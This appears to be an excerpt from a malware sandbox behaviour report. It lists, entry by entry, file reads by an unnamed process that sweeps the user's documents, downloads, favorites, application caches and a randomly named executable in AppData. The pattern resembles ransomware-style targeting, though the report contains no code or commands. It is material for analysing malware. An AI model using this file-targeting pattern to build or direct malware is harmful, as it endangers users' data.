C:\Users\user\Documents\JSDNGYCOWY.pdf unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\JSDNGYCOWY.pdf unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\JSDNGYCOWY.xlsx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\JSDNGYCOWY.xlsx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\KZWFNRXYKI.mp3 unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\KZWFNRXYKI.mp3 unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\LTKMYBSEYZ.xlsx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\LTKMYBSEYZ.xlsx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\MXPXCVPDVN.mp3 unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\MXPXCVPDVN.mp3 unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\NIKHQAIQAU.jpg unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\NIKHQAIQAU.jpg unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\NWTVCDUMOB.docx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\NWTVCDUMOB.docx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\NWTVCDUMOB.pdf unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\NWTVCDUMOB.pdf unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\RAYHIWGKDI.png unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\RAYHIWGKDI.png unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\VAMYDFPUND.png unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\VAMYDFPUND.png unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\WUTJSCBCFX.docx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\WUTJSCBCFX.docx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\WUTJSCBCFX.jpg unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\WUTJSCBCFX.jpg unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\YPSIACHYXW.png unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\YPSIACHYXW.png unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\YPSIACHYXW.xlsx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\YPSIACHYXW.xlsx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Downloads\BPMLNOBVSB.pdf unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Downloads\BPMLNOBVSB.pdf unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Downloads\CURQNKVOIX.jpg unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Downloads\CURQNKVOIX.jpg unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Downloads\CURQNKVOIX.mp3 unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Downloads\CURQNKVOIX.mp3 unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Downloads\DVWHKMNFNN.docx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Downloads\DVWHKMNFNN.docx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Downloads\JSDNGYCOWY.mp3 unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Downloads\JSDNGYCOWY.mp3 unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Downloads\JSDNGYCOWY.pdf unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Downloads\JSDNGYCOWY.pdf unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Downloads\JSDNGYCOWY.xlsx unknown 38 success or wait 1 41134B ReadFile
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C:\Users\user\Downloads\JSDNGYCOWY.xlsx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Downloads\KZWFNRXYKI.png unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Downloads\KZWFNRXYKI.png unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Downloads\LTKMYBSEYZ.xlsx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Downloads\LTKMYBSEYZ.xlsx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Downloads\MXPXCVPDVN.mp3 unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Downloads\MXPXCVPDVN.mp3 unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Downloads\NIKHQAIQAU.jpg unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Downloads\NIKHQAIQAU.jpg unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Downloads\NWTVCDUMOB.docx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Downloads\NWTVCDUMOB.docx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Downloads\NWTVCDUMOB.pdf unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Downloads\NWTVCDUMOB.pdf unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Downloads\RAYHIWGKDI.png unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Downloads\RAYHIWGKDI.png unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Downloads\VAMYDFPUND.png unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Downloads\VAMYDFPUND.png unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Downloads\WUTJSCBCFX.docx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Downloads\WUTJSCBCFX.docx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Downloads\WUTJSCBCFX.jpg unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Downloads\WUTJSCBCFX.jpg unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Downloads\YPSIACHYXW.xlsx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Downloads\YPSIACHYXW.xlsx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Favorites\Amazon.url unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Favorites\Amazon.url unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Favorites\Bing.url unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Favorites\Bing.url unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Favorites\Facebook.url unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Favorites\Facebook.url unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Favorites\Google.url unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Favorites\Google.url unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Favorites\Live.url unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Favorites\Live.url unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Favorites\NYTimes.url unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Favorites\NYTimes.url unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Favorites\Reddit.url unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Favorites\Reddit.url unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Favorites\Twitter.url unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Favorites\Twitter.url unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Favorites\Wikipedia.url unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Favorites\Wikipedia.url unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Favorites\Youtube.url unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Favorites\Youtube.url unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\bowsakkdestx.txt unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\bowsakkdestx.txt unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\IconCache.db unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\IconCache.db unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Bluetooth 
File Transfer.LNK

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Bluetooth 
File Transfer.LNK

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Windows\SendTo\Desktop 
(create shortcut).DeskLink

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\DVWHKMNFNN\DVWHKMNFNN.docx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\DVWHKMNFNN\DVWHKMNFNN.docx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\DVWHKMNFNN\KZWFNRXYKI.mp3 unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\DVWHKMNFNN\KZWFNRXYKI.mp3 unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\DVWHKMNFNN\LTKMYBSEYZ.xlsx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\DVWHKMNFNN\LTKMYBSEYZ.xlsx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\DVWHKMNFNN\NWTVCDUMOB.pdf unknown 38 success or wait 1 41134B ReadFile
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C:\Users\user\Desktop\DVWHKMNFNN\NWTVCDUMOB.pdf unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\DVWHKMNFNN\WUTJSCBCFX.jpg unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\DVWHKMNFNN\WUTJSCBCFX.jpg unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\DVWHKMNFNN\YPSIACHYXW.png unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\DVWHKMNFNN\YPSIACHYXW.png unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\NWTVCDUMOB\CURQNKVOIX.mp3 unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\NWTVCDUMOB\CURQNKVOIX.mp3 unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\NWTVCDUMOB\JSDNGYCOWY.pdf unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\NWTVCDUMOB\JSDNGYCOWY.pdf unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\NWTVCDUMOB\NIKHQAIQAU.jpg unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\NWTVCDUMOB\NIKHQAIQAU.jpg unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\NWTVCDUMOB\NWTVCDUMOB.docx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\NWTVCDUMOB\NWTVCDUMOB.docx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\NWTVCDUMOB\RAYHIWGKDI.png unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\NWTVCDUMOB\RAYHIWGKDI.png unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\NWTVCDUMOB\YPSIACHYXW.xlsx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\NWTVCDUMOB\YPSIACHYXW.xlsx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\WUTJSCBCFX\BPMLNOBVSB.pdf unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\WUTJSCBCFX\BPMLNOBVSB.pdf unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\WUTJSCBCFX\CURQNKVOIX.jpg unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\WUTJSCBCFX\CURQNKVOIX.jpg unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\WUTJSCBCFX\JSDNGYCOWY.xlsx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\WUTJSCBCFX\JSDNGYCOWY.xlsx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\WUTJSCBCFX\MXPXCVPDVN.mp3 unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\WUTJSCBCFX\MXPXCVPDVN.mp3 unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\WUTJSCBCFX\VAMYDFPUND.png unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\WUTJSCBCFX\VAMYDFPUND.png unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Desktop\WUTJSCBCFX\WUTJSCBCFX.docx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Desktop\WUTJSCBCFX\WUTJSCBCFX.docx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\DVWHKMNFNN\DVWHKMNFNN.docx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\DVWHKMNFNN\DVWHKMNFNN.docx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\DVWHKMNFNN\KZWFNRXYKI.mp3 unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\DVWHKMNFNN\KZWFNRXYKI.mp3 unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\DVWHKMNFNN\LTKMYBSEYZ.xlsx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\DVWHKMNFNN\LTKMYBSEYZ.xlsx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\DVWHKMNFNN\NWTVCDUMOB.pdf unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\DVWHKMNFNN\NWTVCDUMOB.pdf unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\DVWHKMNFNN\WUTJSCBCFX.jpg unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\DVWHKMNFNN\WUTJSCBCFX.jpg unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\DVWHKMNFNN\YPSIACHYXW.png unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\DVWHKMNFNN\YPSIACHYXW.png unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\NWTVCDUMOB\CURQNKVOIX.mp3 unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\NWTVCDUMOB\CURQNKVOIX.mp3 unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\NWTVCDUMOB\JSDNGYCOWY.pdf unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\NWTVCDUMOB\JSDNGYCOWY.pdf unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\NWTVCDUMOB\NIKHQAIQAU.jpg unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\NWTVCDUMOB\NIKHQAIQAU.jpg unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\NWTVCDUMOB\NWTVCDUMOB.docx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\NWTVCDUMOB\NWTVCDUMOB.docx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\NWTVCDUMOB\RAYHIWGKDI.png unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\NWTVCDUMOB\RAYHIWGKDI.png unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\NWTVCDUMOB\YPSIACHYXW.xlsx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\NWTVCDUMOB\YPSIACHYXW.xlsx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\WUTJSCBCFX\BPMLNOBVSB.pdf unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\WUTJSCBCFX\BPMLNOBVSB.pdf unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\WUTJSCBCFX\CURQNKVOIX.jpg unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\WUTJSCBCFX\CURQNKVOIX.jpg unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\WUTJSCBCFX\JSDNGYCOWY.xlsx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\WUTJSCBCFX\JSDNGYCOWY.xlsx unknown 153605 success or wait 1 41140B ReadFile
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C:\Users\user\Documents\WUTJSCBCFX\MXPXCVPDVN.mp3 unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\WUTJSCBCFX\MXPXCVPDVN.mp3 unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\WUTJSCBCFX\VAMYDFPUND.png unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\WUTJSCBCFX\VAMYDFPUND.png unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\Documents\WUTJSCBCFX\WUTJSCBCFX.docx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\Documents\WUTJSCBCFX\WUTJSCBCFX.docx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\CDPGlob
alSettings.cdp

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\ConnectedDevicesPlatform\CDPGlob
alSettings.cdp

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a6
2169\2OmglUwx83.exe

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\dc8ee5c2-8cfe-4224-95e9-01d5d6a6
2169\2OmglUwx83.exe

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Temp\AdobeARM.log unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Temp\AdobeARM.log unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Temp\chrome_installer.log unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Temp\chrome_installer.log unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Temp\JavaDeployReg.log unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Temp\JavaDeployReg.log unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Temp\tmpEAC.tmp unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Temp\tmpEAC.tmp unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Adobe\Color\ACECache11.lst unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Adobe\Color\ACECache11.lst unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Comms\UnistoreDB\USS.jcp unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Comms\UnistoreDB\USS.jcp unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00001.jrs unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00001.jrs unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00002.jrs unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Comms\UnistoreDB\USSres00002.jrs unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Comms\UnistoreDB\USStmp.jtx unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Comms\UnistoreDB\USStmp.jtx unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\ngen.log unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\ngen.log unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\ngen.log unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\ngen.log unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-
ClearIconCache.log

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-
ClearIconCache.log

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-
UserConfig.log

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-
UserConfig.log

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\OneDrive.Visu
alElementsManifest.xml

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\OneDrive.Visu
alElementsManifest.xml

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\Resources.pri unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\Resources.pri unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverC
acheData.dat

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\PenWorkspace\DiscoverC
acheData.dat

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Temp\CR_14C6C.tmp\setup.exe unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Temp\CR_14C6C.tmp\setup.exe unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\
MSIMGSIZ.DAT

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\
MSIMGSIZ.DAT

unknown 153605 success or wait 1 41140B ReadFile
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\
SmartScreenCache.dat

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\
SmartScreenCache.dat

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Ca
meraRoll.library-ms

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Ca
meraRoll.library-ms

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Do
cuments.library-ms

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Do
cuments.library-ms

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Mu
sic.library-ms

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Mu
sic.library-ms

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Pi
ctures.library-ms

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Pi
ctures.library-ms

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Vi
deos.library-ms

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Vi
deos.library-ms

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt19.lst unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt19.lst unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt19.lst unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt19.lst unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheRdr65536.dat unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheRdr65536.dat unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache.bin unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache.bin unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Google\Chrome\User Data\CrashpadMetrics-
active.pma

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Google\Chrome\User Data\CrashpadMetrics-
active.pma

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad
Metrics.pma

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad
Metrics.pma

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\
unarchiver.exe.log

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\
unarchiver.exe.log

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\NGe
nTask.exe.log

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\NGe
nTask.exe.log

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\sdi
agnhost.exe.log

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\sdi
agnhost.exe.log

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\
NGenTask.exe.log

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\
NGenTask.exe.log

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECo
mpatData\iecompatdata.xml

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECo
mpatData\iecompatdata.xml

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\UrlB
lock\urlblock_637194112741176080.bin

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\UrlB
lock\urlblock_637194112741176080.bin

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Vers
ionManager\versionlist.xml

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Vers
ionManager\versionlist.xml

unknown 153605 success or wait 1 41140B ReadFile
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C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-black_scale-100.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-black_scale-100.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-black_scale-125.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-black_scale-125.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-black_scale-150.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-black_scale-150.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-black_scale-200.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-black_scale-200.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-black_scale-400.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-black_scale-400.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-white_scale-100.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-white_scale-100.png

unknown 153605 success or wait 1 41140B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-white_scale-125.png

unknown 38 success or wait 1 41134B ReadFile

C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\On
eDriveMedTile.contrast-white_scale-125.png

